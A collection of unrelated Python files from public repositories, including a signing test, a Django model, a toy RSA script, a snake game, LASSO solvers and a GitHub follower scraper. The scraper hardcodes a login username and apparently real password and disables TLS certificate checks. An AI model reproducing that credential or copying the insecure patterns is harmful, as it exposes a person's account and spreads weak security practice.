\"\"\"\n m = urandom(32)\n sigma = signing.sign(self.keypair.sk, m)\n self.assertTrue(signing.verify(self.keypair.vk, m, sigma))\n\n keypair2 = signing.gen_signing_keypair()\n self.assertFalse(signing.verify(keypair2.vk, m, sigma))\n\n def test_signature_encoding(self) -> None:\n \"\"\"\n Test encoding and decoding of signatures.\n \"\"\"\n m = sha256(\"clearmatics\".encode()).digest()\n sig = signing.sign(self.keypair.sk, m)\n sig_encoded = signing.signature_to_bytes(sig)\n sig_decoded = signing.signature_from_bytes(sig_encoded)\n self.assertEqual(sig, sig_decoded)\n\n def test_keypair_encode_decode(self) -> None:\n \"\"\"\n Test encoding and decoding of key pair\n \"\"\"\n keypair = signing.gen_signing_keypair()\n keypair_json = keypair.to_json_dict()\n keypair2 = signing.SigningKeyPair.from_json_dict(keypair_json)\n self.assertEqual(keypair_json, keypair2.to_json_dict())\n","repo_name":"clearmatics/zeth","sub_path":"client/tests/test_signing.py","file_name":"test_signing.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"67"} +{"seq_id":"5786971715","text":"from django.db import models\nfrom django.db import connection\nimport time, os, binascii\n\nimport logging\nlog = logging.getLogger(__name__)\n\nclass Script_details(models.Model):\n class Meta:\n db_table = 'script_details'\n managed = False\n\n id = models.BigIntegerField(max_length=20, primary_key=True)\n script_id = models.BigIntegerField(max_length=20)\n genre_id = models.BigIntegerField(max_length=10)\n\n def set_params(self, *args, **kwargs):\n self.script_id = kwargs['script_id']\n self.genre_id = kwargs['genre_id']\n\n def save(self, *args, **kwargs):\n self.script_id = self.script_id\n self.genre_id = self.genre_id\n super(Script_details, self).save(*args, **kwargs)\n\n def get_script_details(self, script_id):\n with connection.cursor() as cursor:\n cursor.execute(\"SELECT g.genre, g.avg_scenes, g.average_scene_descriptions, g.avg_dialog_scene_ratio, \\\n g.avg_scene_description_length, g.avg_dialog_length, g.avg_page_count, \\\n g.avg_location_count FROM script_details as sd join genres as g on sd.genre_id = g.id WHERE \\\n sd.script_id = %s \", [script_id])\n script_details = []\n row = cursor.fetchone()\n while row:\n script_details.append({\"genre\":row[0], \"avg_scenes\":row[1], \"average_scene_descriptions\":row[2], \n \"avg_dialog_scene_ratio\": row[3], \n \"avg_scene_description_length\": row[4], \"avg_dialog_length\": row[5],\n \"avg_page_count\": row[6], \"avg_location_count\": row[7]})\n row = cursor.fetchone()\n return script_details\n","repo_name":"anupamchansarkar/auteurApi","sub_path":"api/auteurApi/basic/models/script/details.py","file_name":"details.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9968942701","text":"from itertools import permutations\n\ndef solution(expression):\n \n operator = []\n \n # 연산자의 위치 찾기 \n for i in range(len(expression)):\n if expression[i] in ['+','-','*']:\n operator.append(expression[i])\n \n operator_all = list(set(operator))\n \n # 숫자만 분리 \n nums = expression.replace('-','+').replace('*','+').split('+')\n \n # 가능한 우선순위 경우의 수 \n prior = list(permutations(operator_all,len(operator_all)))\n prior = [list(k) for k in prior]\n\n # 우선순위가 낮은 연산부터 쭉 저장 \n lst = []\n \n for p in prior:\n op = list(operator)\n numbers = list(nums)\n for i in range(len(p)):\n target = p.pop()\n while target in op: \n tg = op.index(target)\n numbers[tg] = str(eval(numbers[tg]+op[tg]+numbers[tg+1]))\n del numbers[tg+1]\n del op[tg]\n lst.append(abs(int(numbers[0])))\n\n \n return max(lst)","repo_name":"joooonis/algorithm","sub_path":"프로그래머스/lv2/67257. [카카오 인턴] 수식 최대화/[카카오 인턴] 수식 최대화.py","file_name":"[카카오 인턴] 수식 최대화.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17042763073","text":"import math\r\n\r\np_prime = int(input(\"first prime number: \"))\r\nq_prime = int(input(\"second prime number: \"))\r\nn = p_prime * q_prime\r\nprint(\"n =\", n)\r\nphi = (p_prime - 1) * (q_prime - 1)\r\ne = 2\r\nwhile e < phi:\r\n if math.gcd(e, phi) == 1:\r\n break\r\n else:\r\n e += 1\r\nprint(\"e =\", e)\r\nk = 2\r\nd = ((k * phi) + 1) / e\r\nprint(\"d =\", d)\r\nprint(f'Public key: {e, n}')\r\nprint(f'Private key: {d, n}')\r\nmsg = 54\r\nprint(f'Original message: {msg}')\r\nC = pow(msg, e, n)\r\nprint(f'Encrypted message: {C}')\r\nM = pow(C, int(d), n)\r\nprint(f'Decrypted message: {M}')\r\n\r\n","repo_name":"yp280103/INS-LAB","sub_path":"INS/rsa2.PY","file_name":"rsa2.PY","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32700889849","text":"from geompy import USE_EXACT, USE_PURE_SYMPY\n\nuse_numpy = not USE_EXACT\n\nif use_numpy:\n from .numpy_utils import (sympify,\n identity as simplify,\n identity as fullsimplify,\n Expression,\n equals as equals)\n from numpy import (sqrt,\n # allclose as equals,\n inf as Infinity,\n float32 as Expr,\n isnan as is_nan)\n\nelse:\n if USE_PURE_SYMPY:\n from sympy import (sympify,\n sqrt,\n oo as Infinity,\n Expr)\n else:\n from symengine import (sympify,\n sqrt,\n oo as Infinity,\n Expr)\n from .symengine_utils import (symengine_equality as equals,\n optimized_simplify as simplify,\n Expression,\n is_nan,\n full_simplify)\n\n# alphabet = list(map(chr, range(97, 123)))\n\n\ndef alphabet(index: int):\n if index < 0:\n raise ValueError(f'Cannot find letter with index {index}. Index is too small.')\n elif index == 0:\n return 'a'\n list_of_remainders = []\n while index:\n # Keep dividing by 26. The remainder is the next letter. The index goes to the next round.\n index, remainder = divmod(index, 26)\n list_of_remainders.append(remainder)\n if len(list_of_remainders) > 1:\n list_of_remainders[-1] -= 1\n string = ''.join(map(lambda x: chr(97+x), list_of_remainders))[::-1] # Return reversed string\n return string\n\n\n","repo_name":"qthequartermasterman/geometry","sub_path":"geompy/cas/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17320836297","text":"import jieba.analyse as analyse\nimport jieba\nimport redis\nfrom config import REDIS\n\n# text = \"我想知道格力空调变频怎么样\"\n# # TF-IDF\n# tf_result = analyse.extract_tags(text, topK=5) # topK指定数量,默认20\n# print(tf_result)\n# # TextRank\n# tr_result = analyse.textrank(text, topK=5) # topK指定数量,默认20\n# print(tr_result)\n#\n# result = jieba.lcut_for_search(text,HMM=True)\n# print(result)\n#\n# result = jieba.lcut(text,cut_all=True,HMM=True)\n# print(result)\n\ndef redis2dictlist(redis_result):\n data_list = []\n for x in redis_result:\n data = x.decode(\"utf-8\").strip().split(\"\\n\")\n data_dict = {\n \"query\": data[0],\n \"keywords\": [x for x in data[1].split()],\n \"answer\": data[2],\n \"state\": data[3],\n \"time\": data[4],\n }\n data_list.append(data_dict)\n\n return data_list\n\ndef dictlist2redis(datalist):\n redis_data = {}\n for idx,data in enumerate(datalist):\n query = data[\"query\"]\n keywords = \" \".join(data[\"keywords\"])\n answer = data[\"answer\"]\n state = data[\"state\"]\n time = data[\"time\"]\n data_str = query+\"\\n\"+keywords+\"\\n\"+answer+\"\\n\"+state+\"\\n\"+time+\"\\n\"\n redis_data[idx] = data_str\n\n return redis_data\n\ntry:\n\n client = redis.StrictRedis(**REDIS)\n\n id = \"000001\"\n id_redis_exist = client.exists(id)\n\n if id_redis_exist == 0: #如果用户id不存在\n\n data = {\n 0:\"这个空调会变频吗?\\n空调 变频\\n可以的\\n1\\n2020/8/14\",\n 1:\"这个衣服都有什么颜色\\n颜色\\n黑的白的都有啊\\n1\\n2020/8/14\",\n 2:\"这个衣服价格怎么样\\n价格\\n120元\\n1\\n2020/8/14\",\n }\n\n add = client.hmset(id,data)\n print(add)\n set_time = client.expire(id,300)\n print(set_time)\n\n else:\n len = client.hlen(id)\n\n result = client.hmget(id,[i for i in range(len)])\n\n print(result)\n print(redis2dictlist(result))\n\nexcept Exception as e:\n print(e)\n\n\n# if __name__ == '__main__':\n# datalist = [{'query':'这个空调会变频吗', 'keywords': ['空调', '变频'], 'answer': '可以的', 'state': '1', 'time': '2020/8/14'},\n# {'query': '这个衣服都有什么颜色', 'keywords': ['颜色'], 'answer': '黑的白的都有啊', 'state': '1', 'time': '2020/8/14'},\n# {'query': '这个衣服价格怎么样', 'keywords': ['价格'], 'answer': '120元', 'state': '1', 'time': '2020/8/14'}]\n#\n# print(dictlist2redis(datalist))","repo_name":"LiuXinyu12378/match_keywords","sub_path":"测试.py","file_name":"测试.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7296890236","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport unittest\n\nfrom click.testing import CliRunner\n\nfrom punica.cli import main\nfrom punica.config.punica_config import InitConfig\nfrom punica.utils.file_system import ensure_remove_dir_if_exists\n\n\nclass TestInit(unittest.TestCase):\n def setUp(self):\n self.runner = CliRunner()\n\n def test_init_empty_project(self):\n project_path = os.path.join(os.path.dirname(__file__), 'file', 'test_init_empty')\n try:\n result = self.runner.invoke(main, ['--project', project_path, 'init'])\n info_list = result.output.split('\\n')\n init_empty_info = ['Downloading...', 'Unpacking...', 'Unbox successful. Enjoy it!']\n for index, info in enumerate(init_empty_info):\n self.assertEqual(info, info_list[index])\n self.assertEqual(0, result.exit_code)\n init_config = InitConfig(project_path)\n self.assertTrue(os.path.exists(init_config.src_path()))\n self.assertTrue(os.path.exists(init_config.test_path()))\n self.assertTrue(os.path.exists(init_config.wallet_path()))\n self.assertTrue(os.path.exists(init_config.contract_path()))\n finally:\n ensure_remove_dir_if_exists(project_path)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"punicasuite/punica-python","sub_path":"test/test_init_cmd.py","file_name":"test_init_cmd.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"42139672141","text":"import logging\n\nfrom monolog import MonologFormatter, MonologHandler\n\n\ndef fun():\n return 2/0\n\n\nlogging.basicConfig(\n level=logging.DEBUG\n)\n\nlogger = logging.getLogger('monolog.example')\n\n# emit JSON-formatted message to stdout\nhandler = logging.StreamHandler()\nhandler.setFormatter(MonologFormatter())\n\nlogger.addHandler(handler)\n\n# and send to local syslog\nlogger.addHandler(MonologHandler())\n# logger.addHandler(MonologHandler(address=('x.x.x.x', 59514)))\n\nlogger.debug('Debug msg')\nlogger.info('Foo')\nlogger.warning('Foo with context', extra={'context': {'foo': 42, 'bar': True}})\n\n\ntry:\n fun()\nexcept ZeroDivisionError:\n logger.error('fun() call raised an exception', exc_info=True, extra={'context': {'foo': 3}})\n","repo_name":"macbre/monolog-python","sub_path":"monolog/examples/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"24631591940","text":"class Start:\n\tdef __init__(self):\n\t\tself.display = 'X'\n\n\tdef step(grid):\n\t\tstart_pos = []\n\n\t\tfor i in range(len(grid)):\n\t\t\tfor j in range(len(grid[i])):\n\t\t\t\tif grid[i][j].display == 'X':\n\t\t\t\t\tstart_pos.append(i)\n\t\t\t\t\tstart_pos.append(j)\n\n\t\treturn start_pos\n\n\nclass End:\n\tdef __init__(self):\n\t\tself.display = 'Y'\n\n\tdef step(game):\n\t\tgame.result = \"====== YOU WIN! =====\"\n\t\tgame.state = False\n\t\tgame.solved = True\n\n\nclass Air:\n\tdef __init__(self):\n\t\tself.display = ' '\n\n\tdef step(self):\n\t\tpass\n\n\nclass Wall:\n\tdef __init__(self):\n\t\tself.display = '*'\n\n\tdef step(player, game, grid, axis, direction):\n\t\tif axis == \"row\":\n\t\t\t#rbt = readability\n\t\t\trbt = player.row + direction\n\t\t\tif (rbt < 0 or rbt >= len(grid)) or isinstance(grid[rbt][player.col], Wall):\n\t\t\t\tgame.alt_text = True\n\t\t\t\tgame.alt_message = \"You walked into a wall. Oof!\"\n\t\t\t\tgame.move_solve_pos = False\n\t\t\t\tplayer.wall = True\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\n\t\tif axis == \"col\":\n\t\t\trbt = player.col + direction\n\t\t\tif (rbt < 0 or rbt >= len(grid[0])) or isinstance(grid[player.row][rbt], Wall):\n\t\t\t\tgame.alt_text = True\n\t\t\t\tgame.alt_message = \"You walked into a wall. Oof!\"\n\t\t\t\tgame.move_solve_pos = False\n\t\t\t\tplayer.wall = True\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\treturn False\n\nclass Water:\n\tdef __init__(self):\n\t\tself.display = 'W'\n\n\tdef step(player, grid, game):\n\t\tplayer.num_water_buckets += 1\n\t\tgrid[player.row][player.col] = Air()\n\t\tgame.alt_text = True\n\t\tgame.alt_message = \"Thank the Honourable Furious Forest, you've found a bucket of water!\"\n\n\nclass Fire:\n\tdef __init__(self):\n\t\tself.display = 'F'\n\n\tdef step(player, grid, game):\n\t\tif player.num_water_buckets > 0:\n\t\t\tplayer.num_water_buckets -= 1\n\t\t\t#incase water buckets < 0\n\t\t\tif player.num_water_buckets < 0:\n\t\t\t\tplayer.num_water_buckets = 0\n\t\t\t#change tile to air\n\t\t\tgrid[player.row][player.col] = Air()\n\t\t\tgame.alt_text = True\n\t\t\tgame.alt_message = \"With your strong acorn arms, you throw a water bucket at the fire. You acorn roll your way through the extinguished flames!\"\n\t\telif game.solving == True and player.num_water_buckets <= 0:\n\t\t\tgame.move_solve_pos = False\n\t\telse:\n\t\t\tgame.result = \"===== GAME OVER =====\"\n\t\t\tgame.state = False\n\n\nclass Teleport:\n\tdef __init__(self, tele_num, row, col):\n\t\tself.display = str(tele_num) # You'll need to change this!\n\t\tself.pair\n\t\tself.row = row\n\t\tself.col = col\n\n\tdef step(self, player, grid, game):\n\t\tplayer.row = self.pair.row\n\t\tplayer.col = self.pair.col\n\n\t\tgame.solve_tele_check = True\n\t\tgame.alt_text = True\n\t\tgame.alt_message = \"Whoosh! The magical gates break Physics as we know it and opens a wormhole through space and time.\"\n\n\tdef pair(self, tele2):\n\t\t#pairs teleporters of same number\n\t\tself.pair = tele2","repo_name":"NeWaffless/Acorn-Game","sub_path":"cells.py","file_name":"cells.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"13156630223","text":"import numpy\n\nfrom utils import errfun\n\ndef loss_func(A, xi, b, mu):\n x = -xi\n error = A.dot(x) - b\n loss = 1. / 2. * numpy.sum(error**2) + mu * numpy.sum(numpy.abs(x))\n return loss\n\ndef reconstruct(xi):\n x = -xi\n return x\n\ndef init(A, x0, b, mu):\n x = x0\n lam = A.dot(x) - b\n nu = A.transpose().dot(lam)\n xi = -x\n gamma = 1.618\n return lam, nu, xi, gamma\n\ndef update_inv(m, A, lr):\n inv = numpy.linalg.inv(numpy.eye(m) + lr * A.dot(A.transpose()))\n return inv\n\ndef iteration_ALM(A, b, inv, lam, nu, xi, mu, gamma, lr):\n lam_t = -b\n nu_t = A.transpose().dot(lam) + xi / lr\n \n nu = numpy.minimum(numpy.maximum(nu_t, -mu), +mu)\n lam = inv.dot(lr * A.dot(nu) - b - A.dot(xi))\n \n xi = xi + lr * (A.transpose().dot(lam) - nu)\n \n return lam, nu, xi\n\ndef iteration_ADMM(A, b, inv, lam, nu, xi, mu, gamma, lr):\n lam = inv.dot(lr * A.dot(nu) - b - A.dot(xi))\n \n nu = A.transpose().dot(lam) + xi / lr\n nu = numpy.minimum(numpy.maximum(nu, -mu), +mu)\n \n xi = xi + gamma * lr * (A.transpose().dot(lam) - nu)\n \n return lam, nu, xi\n\ndef l1_explicit_MM_dual(\n x0, A, b, mu,\n iter_func=None,\n iter_list=[],\n lr_list=None,\n mu_list=None,\n sep=0, figure=False, xx=None, **opts\n):\n m, n = A.shape\n \n mu0 = mu\n \n lam, nu, xi, gamma = init(A, x0, b, mu)\n \n t = 0\n iter_len = len(iter_list)\n \n formal_loss_list, real_loss_list, error_xx_list = [], [], []\n \n for j in range(iter_len):\n lr = lr_list[j]\n inv = update_inv(m, A, lr)\n mu = mu_list[j]\n for i in range(iter_list[j]):\n lam, nu, xi = iter_func(A, b, inv, lam, nu, xi, mu, gamma, lr)\n \n if figure:\n formal_loss_list.append(loss_func(A, xi, b, mu))\n real_loss_list.append(loss_func(A, xi, b, mu0))\n if xx is not None:\n x = reconstruct(xi)\n error_xx_list.append(errfun(x, xx))\n \n if sep != 0 and t % sep == 0:\n loss = loss_func(A, xi, b, mu0)\n print(\"i: {0}, j: {1}, t: {2}, loss: {3:.5e}\".format(i, j, t, loss))\n \n t += 1\n \n solution = reconstruct(xi)\n loss = loss_func(A, xi, b, mu0)\n \n out = {\n \"solution\": solution,\n \"loss\": loss,\n \"vars\": 2*n + m,\n \"iters\": t,\n \"conts\": iter_len,\n \"formal_loss\": numpy.array(formal_loss_list),\n \"real_loss\": numpy.array(real_loss_list),\n \"error\": numpy.array(error_xx_list),\n }\n \n return solution, out\n\ndef l1_ALM_dual(x0, A, b, mu, **opts):\n return l1_explicit_MM_dual(\n x0, A, b, mu,\n iter_func=iteration_ALM,\n **opts\n )\n\ndef l1_ADMM_dual(x0, A, b, mu, **opts):\n return l1_explicit_MM_dual(\n x0, A, b, mu,\n iter_func=iteration_ADMM,\n **opts\n )\n","repo_name":"pppppass/LASSO","sub_path":"Codes/method_explicit_MM_dual.py","file_name":"method_explicit_MM_dual.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"6711067423","text":"import os, sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\n\nfrom classes.Maps import Map\n\n\ndef test_world_creation():\n print('Map 1')\n world_map = Map(100, 100, amplitudes=[3, 6, 12, 24], zoomed=True)\n world_map.export_map('./images/map-test.png')\n world_map.export_map('./images/map-test-3d.png', view3d=True)\n print('Map 2')\n world_map.transform_elevation(0.58) # lots of mountains, not much water\n world_map.export_map('./images/map-test2.png')\n world_map.export_map('./images/map-test2-3d.png', view3d=True)\n print('Map 3')\n world_map.transform_elevation(1.21)\n world_map.export_map('./images/map-test3.png')\n world_map.export_map('./images/map-test3-3d.png', view3d=True)\n\n\ndef test_dungeon_creation():\n print('Dungeon 1')\n dungeon = Map(100, 100, amplitudes=[3, 6, 12, 24]) # good for dungeons (zoomed=False)\n dungeon.transform_dungeon()\n dungeon.export_map('./images/dungeon-test.png', colormap='dungeon')\n dungeon.export_map('./images/dungeon-test-3d.png', view3d=True, colormap='dungeon')\n\n\ndef test_all():\n # test_world_creation()\n test_dungeon_creation()\n\n\ntest_all()\n","repo_name":"mogekag/cyber-jirimoon","sub_path":"tests/test-maps.py","file_name":"test-maps.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29063775887","text":"import time\nimport keyboard\nimport sys\nimport os\nimport random\n\n# prints the FIELD :\ndef pf():\n time.sleep(sp)\n if sys.platform == 'win32':\n os.system('cls')\n else:\n os.system('clear')\n print('Snake size:', len(b) + 1)\n for i in range(0, n):\n for j in range(0, n):\n for k in range(0, len(b)):\n if i == b[k]['x'] and j == b[k]['y']:\n f[i][j] = True\n if h['x'] == i and h['y'] == j:\n f[i][j] = True\n print(int(f[i][j]), end=' ')\n print()\n\n\nsp = 0.1\ngame = True\nstruct = {'x': 0,\n 'y': 0}\nn = 10\nf = [[False for i in range(0, n)] for j in range(0, n)]\n# sneak AT START :\nh = struct.copy()\nh['x'] = n // 4\nh['y'] = n // 2 - 1\nb = []\nfor i in range(0, n // 2):\n b.append(struct.copy())\n b[i]['x'] = h['x'] + 1 + i\n b[i]['y'] = h['y']\npf()\nstep = 0\nwhile game:\n keyboard.read_key()\n if keyboard.is_pressed('esc'):\n break\n # MOVE :\n elif keyboard.is_pressed('up') and h['x'] - 1 != b[0]['x'] or\\\n keyboard.is_pressed('left') and h['y'] - 1 != b[0]['y'] or\\\n keyboard.is_pressed('down') and h['x'] + 1 != b[0]['x'] or\\\n keyboard.is_pressed('right') and h['y'] + 1 != b[0]['y']:\n # if step % 5 == 0:\n\n cx = h['x']\n cy = h['y']\n if keyboard.is_pressed('up'):\n if h['x'] - 1 < 0:\n h['x'] = n - 1\n else:\n h['x'] -= 1\n elif keyboard.is_pressed('left'):\n if h['y'] - 1 < 0:\n h['y'] = n - 1\n else:\n h['y'] -= 1\n elif keyboard.is_pressed('down'):\n if h['x'] + 1 > n-1:\n h['x'] = 0\n else:\n h['x'] += 1\n elif keyboard.is_pressed('right'):\n if h['y'] + 1 > n-1:\n h['y'] = 0\n else:\n h['y'] += 1\n # MOVE body after head (and CLEAR trace) :\n for i in range(0, len(b)):\n f[b[i]['x']][b[i]['y']] = False\n b[i]['x'], cx = cx, b[i]['x']\n b[i]['y'], cy = cy, b[i]['y']\n # LOSS? :\n for i in range(0, len(b)):\n if h == b[i]:\n game = False\n pf()\n step += 1\n else:\n pass\n # ~for being at the bottom(seeing sneak) :\n for i in range(0, 1):\n keyboard.press_and_release(81)\nprint('The end.')\n","repo_name":"Darikzen/snake2","sub_path":"snake1.py","file_name":"snake1.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26409682014","text":"import re\nimport pymongo\nimport requests\nfrom time import sleep\nfrom bs4 import BeautifulSoup\n\n\nclass github_crawl():\n num = 0\n followert = 0\n def __init__(self):\n # 初始化一些必要的参数\n self.login_headers = {\n \"Referer\":\"https://github.com/\",\n \"Host\":\"github.com\",\n \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\"\n }\n\n self.logined_headers = {\n \"Referer\":\"https://github.com/login\",\n \"Host\":\"github.com\",\n \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\"\n }\n\n self.login_url = \"https://github.com/login\"\n self.post_url = \"https://github.com/session\"\n self.logined_url = \"https://github.com/dashboard-feed\"\n self.session = requests.Session()\n self.client = pymongo.MongoClient()\n self.textDataBase = self.client.test\n\n def parse_loginPage(self):\n # 对登陆页面进行爬取,获取token值\n html = self.session.get(url=self.login_url, headers=self.login_headers, verify=False)\n Soup = BeautifulSoup(html.text, \"lxml\")\n token = Soup.find(\"input\", attrs={\"name\":\"authenticity_token\"}).get(\"value\")\n\n return token\n # 获得了登陆的一个参数\n\n def login(self, user_name, password):\n # 传进必要的参数,然后登陆\n post_data = {\n \"commit\":\"Sign in\",\n \"utf8\":\"✓\",\n \"authenticity_token\":self.parse_loginPage(),\n \"login\":user_name,\n \"password\":password\n }\n\n logined_html = self.session.post(url=self.post_url, data=post_data, headers=self.logined_headers, verify=False)\n if logined_html.status_code == 200:\n dashboardHtml = self.session.get(url=self.logined_url, headers=self.login_headers, verify=False)\n self.parse_loginedHtml(dashboardHtml)\n\n def parse_loginedHtml(self, Resp):\n # 解析登陆以后的第一个页面,并且获得关注人的最新动态\n Soup = BeautifulSoup(Resp.text, \"lxml\")\n try:\n raw_users = Soup.find_all(\"a\", attrs={\"data-hovercard-type\":\"user\"})\n users_list = []\n for user in raw_users:\n href = \"https://github.com\" + user.get(\"href\")\n users_list.append(href)\n usersList = list(set(users_list))\n for userhref in usersList:\n self.parse_mainPage(userhref)\n followerUrl = userhref + \"?tab=followers\"\n self.followerAndfollowing(followerUrl)\n followingUrl = userhref + \"?tab=following\"\n self.followerAndfollowing(followingUrl)\n except Exception as e:\n print(e)\n\n def parse_mainPage(self, href):\n mainPage = self.session.get(url=href, headers=self.login_headers, verify=False)\n if mainPage.status_code == 200:\n Soup = BeautifulSoup(mainPage.text, \"lxml\")\n blogger = Soup.find(\"title\").get_text()\n programs = []\n try:\n lis = Soup.find(\"ol\", attrs={\"class\":re.compile(\"pinned-repos-list mb-4.*?\")}).find_all(\"li\")\n for li in lis:\n Popular_Blog = [text for text in li.stripped_strings]\n programs.append(Popular_Blog)\n self.textDataBase[\"someMassages\"].insert_one({blogger:programs})\n except Exception as e:\n print(e)\n self.num += 1\n print(\"爬取了第{}个人的\".format(self.num))\n sleep(0.7)\n\n def followerAndfollowing(self, href):\n \"\"\"\n 由于对关注的人和被关注的人的html爬取都可以使用同一套爬取策略\n 所以可以使用同一段代码。\n \"\"\"\n followingsPage = self.session.get(url=href, headers=self.login_headers, verify=False)\n Soup = BeautifulSoup(followingsPage.text, \"lxml\")\n try:\n followings = Soup.find_all(\"span\", attrs={\"class\": \"link-gray pl-1\"})\n self.followert += len(followings)\n print(self.followert)\n for follower in followings:\n followername = follower.get_text()\n itsHref = \"https://www.github.com/\" + followername\n print(itsHref)\n self.parse_mainPage(itsHref)\n except Exception as e:\n print(e)\n\n\n\n\nif __name__ == \"__main__\":\n x = github_crawl()\n x.login(\"mikeyumingtao\", \"killer960416\")\n print(x.num)\n","repo_name":"mikeyumingtao/PythonHouse","sub_path":"githubSpider.py","file_name":"githubSpider.py","file_ext":"py","file_size_in_byte":4664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"73917135574","text":"\"\"\"\nConfig for BCQ algorithm.\n\"\"\"\n\nfrom robomimic.config.base_config import BaseConfig\nfrom robomimic.config.bc_config import BCConfig\n\n\nclass BCQConfig(BaseConfig):\n ALGO_NAME = \"bcq\"\n\n def algo_config(self):\n \"\"\"\n This function populates the `config.algo` attribute of the config, and is given to the \n `Algo` subclass (see `algo/algo.py`) for each algorithm through the `algo_config` \n argument to the constructor. Any parameter that an algorithm needs to determine its \n training and test-time behavior should be populated here.\n \"\"\"\n \n # optimization parameters\n self.algo.optim_params.critic.learning_rate.initial = 1e-3 # critic learning rate\n self.algo.optim_params.critic.learning_rate.decay_factor = 0.1 # factor to decay LR by (if epoch schedule non-empty)\n self.algo.optim_params.critic.learning_rate.epoch_schedule = [] # epochs where LR decay occurs\n self.algo.optim_params.critic.regularization.L2 = 0.00 # L2 regularization strength\n self.algo.optim_params.critic.start_epoch = -1 # number of epochs before starting critic training (-1 means start right away)\n self.algo.optim_params.critic.end_epoch = -1 # number of epochs before ending critic training (-1 means start right away)\n\n self.algo.optim_params.action_sampler.learning_rate.initial = 1e-3 # action sampler learning rate\n self.algo.optim_params.action_sampler.learning_rate.decay_factor = 0.1 # factor to decay LR by (if epoch schedule non-empty)\n self.algo.optim_params.action_sampler.learning_rate.epoch_schedule = [] # epochs where LR decay occurs\n self.algo.optim_params.action_sampler.regularization.L2 = 0.00 # L2 regularization strength\n self.algo.optim_params.action_sampler.start_epoch = -1 # number of epochs before starting action sampler training (-1 means start right away)\n self.algo.optim_params.action_sampler.end_epoch = -1 # number of epochs before ending action sampler training (-1 means start right away)\n\n self.algo.optim_params.actor.learning_rate.initial = 1e-3 # actor learning rate\n self.algo.optim_params.actor.learning_rate.decay_factor = 0.1 # factor to decay LR by (if epoch schedule non-empty)\n self.algo.optim_params.actor.learning_rate.epoch_schedule = [] # epochs where LR decay occurs\n self.algo.optim_params.actor.regularization.L2 = 0.00 # L2 regularization strength\n self.algo.optim_params.actor.start_epoch = -1 # number of epochs before starting actor training (-1 means start right away)\n self.algo.optim_params.actor.end_epoch = -1 # number of epochs before ending actor training (-1 means start right away)\n\n # target network related parameters\n self.algo.discount = 0.99 # discount factor to use\n self.algo.n_step = 1 # for using n-step returns in TD-updates\n self.algo.target_tau = 0.005 # update rate for target networks\n self.algo.infinite_horizon = False # if True, scale terminal rewards by 1 / (1 - discount) to treat as infinite horizon\n\n # ================== Critic Network Config ===================\n self.algo.critic.use_huber = False # Huber Loss instead of L2 for critic\n self.algo.critic.max_gradient_norm = None # L2 gradient clipping for critic (None to use no clipping)\n self.algo.critic.value_bounds = None # optional 2-tuple to ensure lower and upper bound on value estimates \n self.algo.critic.num_action_samples = 10 # number of actions to sample per training batch to get target critic value\n self.algo.critic.num_action_samples_rollout = 100 # number of actions to sample per environment step\n\n # critic ensemble parameters (TD3 trick)\n self.algo.critic.ensemble.n = 2 # number of Q networks in the ensemble\n self.algo.critic.ensemble.weight = 0.75 # weighting for mixing min and max for target Q value\n\n # distributional critic\n self.algo.critic.distributional.enabled = False # train distributional critic (C51)\n self.algo.critic.distributional.num_atoms = 51 # number of values in categorical distribution\n\n self.algo.critic.layer_dims = (300, 400) # size of critic MLP\n\n # ================== Action Sampler Config ===================\n self.algo.action_sampler = BCConfig().algo\n # use VAE by default\n self.algo.action_sampler.vae.enabled = True\n # remove unused parts of BCConfig algo config\n del self.algo.action_sampler.optim_params # since action sampler optim params specified at top-level\n del self.algo.action_sampler.loss\n del self.algo.action_sampler.gaussian\n del self.algo.action_sampler.rnn\n del self.algo.action_sampler.transformer\n\n # Number of epochs before freezing encoder (-1 for no freezing). Only applies to cVAE-based action samplers.\n with self.algo.action_sampler.unlocked():\n self.algo.action_sampler.freeze_encoder_epoch = -1\n\n # ================== Actor Network Config ===================\n self.algo.actor.enabled = False # whether to use the actor perturbation network\n self.algo.actor.perturbation_scale = 0.05 # size of learned action perturbations\n self.algo.actor.layer_dims = (300, 400) # size of actor 